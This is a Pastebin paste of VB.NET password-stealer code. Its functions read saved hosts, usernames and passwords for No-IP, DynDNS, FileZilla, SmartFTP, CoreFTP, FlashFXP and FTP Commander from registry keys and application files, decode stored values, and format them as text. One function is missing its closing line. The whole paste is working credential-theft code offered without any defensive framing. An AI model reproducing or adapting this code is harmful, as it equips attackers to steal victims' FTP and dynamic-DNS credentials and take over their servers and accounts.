Advertisement
Guest User

Untitled

a guest
May 18th, 2017
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.98 KB | None | 0 0
  1. Function NoIP() As String
  2. Dim sHost As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Hosts"), "#,", "")
  3. Dim sUser As String = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Username")
  4. Dim sPwd As String = FromBase64(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Vitalwerks\DUC\Password"))
  5.  
  6. sHost = Replace(sHost, ",", vbNewLine)
  7. sHost = Replace(sHost, "|", vbNewLine)
  8.  
  9. If Not sPwd = "" Then
  10. NoIP = "Hosts:" & vbNewLine & sHost & vbNewLine & "User: " & sUser & vbNewLine & "Pwd: " & sPwd
  11. Else
  12. NoIP = "Nothing is saved!"
  13. End If
  14. End Function
  15.  
  16. Function DynDNS() As String
  17. Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\DynDNS\Updater\config.dyndns"
  18. Dim sFile As String = ReadFile(sPath)
  19. Dim sHost As String = Cut(sFile, "[Hosts]", "Count=")
  20. Dim sUser As String = Cut(sFile, "Username=", vbNewLine)
  21. Dim sPwd As String = Cut(sFile, "Password=", vbNewLine)
  22.  
  23. If Not sPwd = "" Then
  24. DynDNS = "Hosts:" & sHost & vbNewLine & "User: " & sUser & vbNewLine & "Pwd: " & sPwd & " (Encrypt)"
  25. Else
  26. DynDNS = "Nothing is saved!"
  27. End If
  28. End Function
  29.  
  30. Function FileZilla() As String
  31. Dim sPath As String = Environ$("APPDATA") & "\FileZilla\sitemanager.xml"
  32. Dim sFile As String = ReadFile(sPath)
  33. Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
  34. Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
  35. Dim sUser As String = Cut(sFile, "<User>", "</User>")
  36. Dim sPwd As String = Cut(sFile, "<Pass>", "</Pass>")
  37. Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")
  38.  
  39. If Not sUser = "" Then
  40. FileZilla = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
  41. Else
  42. FileZilla = "Nothing is saved!"
  43. End If
  44. End Function
  45.  
  46. Function SmartFTP() As String
  47. Dim sPath As String = Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\" & Dir(Environ$("APPDATA") & "\SmartFTP\Client 2.0\Favorites\Quick Connect\*.xml")
  48. Dim sFile As String = ReadFile(sPath)
  49. Dim sHost As String = Cut(sFile, "<Host>", "</Host>")
  50. Dim sPort As String = Cut(sFile, "<Port>", "</Port>")
  51. Dim sUser As String = Cut(sFile, "<User>", "</User>")
  52. Dim sPwd As String = Cut(sFile, "<Password>", "</Password>")
  53. Dim sEntry As String = Cut(sFile, "<Name>", "</Name>")
  54.  
  55. If Not sUser = "" Then
  56. SmartFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
  57. Else
  58. SmartFTP = "Nothing is saved!"
  59. End If
  60. End Function
  61.  
  62. Function CoreFTP() As String
  63. Dim sPath As String = Environ$("APPDATA") & "\CoreFTP\sites.idx"
  64. Dim sFile As String = Left(ReadFile(sPath), 1)
  65. Dim sHost As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Host")
  66. Dim sPort As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Port")
  67. Dim sUser As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\User")
  68. Dim sPwd As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\PW")
  69. Dim sEntry As String = RegRead("HKEY_CURRENT_USER\Software\FTPWare\COREFTP\Sites\" & sFile & "\Name")
  70.  
  71. If Not sUser = "" Then
  72. CoreFTP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
  73. Else
  74. CoreFTP = "Nothing is saved!"
  75. End If
  76. End Function
  77.  
  78. Function FlashFXP() As String
  79. Dim sPath As String = Replace(Environ$("APPDATA"), Environ$("Username"), "All Users") & "\FlashFXP\" & "3" & "\quick.dat"
  80. Dim sFile As String = ReadFile(sPath)
  81. Dim sHost As String = Cut(sFile, "IP=", vbNewLine)
  82. Dim sPort As String = Cut(sFile, "port=", vbNewLine)
  83. Dim sUser As String = Cut(sFile, "user=", vbNewLine)
  84. Dim sPwd As String = Cut(sFile, "pass=", vbNewLine)
  85. Dim sEntry As String = Cut(sFile, "created=", vbNewLine)
  86.  
  87. If Not sUser = "" Then
  88. FlashFXP = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd + " (Encrypt)"
  89. Else
  90. FlashFXP = "Nothing is saved!"
  91. End If
  92. End Function
  93.  
  94. Function FtpCommander() As String
  95. Dim sPath As String = Replace(RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\FTP Commander\UninstallString"), "uninstall.exe", vbNullString) & "Ftplist.txt"
  96. Dim sFile As String = ReadLine(sPath, -1)
  97. Dim sHost As String = Cut(sFile, ";Server=", ";Port=")
  98. Dim sPort As String = Cut(sFile, ";Port=", ";Password=")
  99. Dim sUser As String = Cut(sFile, ";User=", ";Anonymous=")
  100. Dim sPwd As String = Cut(sFile, ";Password=", ";User=")
  101. Dim sEntry As String = Cut(sFile, "Name=", ";Server=")
  102.  
  103. If Not sUser = "" Then
  104. FtpCommander = "Entry: " + sEntry + vbNewLine + "Host: " + sHost + ":" + sPort + vbNewLine + "User: " + sUser + vbNewLine + "Pwd: " + sPwd
  105. Else
  106. FtpCommander = "Nothing is saved!"
  107. End If
  108.  
  109. Function ReadFile(ByVal sFile As String) As String
  110. On Error Resume Next
  111. Dim OpenFile As New System.IO.StreamReader(sFile)
  112. ReadFile = OpenFile.ReadToEnd.ToString
  113. End Function
  114.  
  115. Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal sText2 As String) As String
  116. On Error Resume Next
  117. Dim c() As String
  118. Dim c2() As String
  119. c = Split(sInhalt, sText)
  120. c2 = Split(c(1), sText2)
  121. Cut = c2(0)
  122. End Function
  123.  
  124. Function RegRead(ByVal hKey As String) As String
  125. Dim wshShell As Object = CreateObject("WScript.Shell")
  126. On Error Resume Next
  127. RegRead = wshShell.RegRead(hKey)
  128. End Function
  129.  
  130. Public Function ReadLine(ByVal filename As String, _
  131. ByVal line As Integer) As String
  132. Try
  133. Dim lines As String() = My.Computer.FileSystem.ReadAllText( _
  134. filename, System.Text.Encoding.Default).Split(vbCrLf)
  135. If line > 0 Then
  136. Return lines(line - 1)
  137. ElseIf line < 0 Then
  138. Return lines(lines.Length + line - 1)
  139. Else
  140. Return ""
  141. End If
  142. Catch ex As Exception
  143. Return ""
  144. End Try
  145. End Function
  146.  
  147. Public Function FromBase64(ByVal sText As String) As String
  148. Dim nBytes() As Byte = System.Convert.FromBase64String(sText)
  149. FromBase64 = System.Text.Encoding.Default.GetString(nBytes)
  150. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement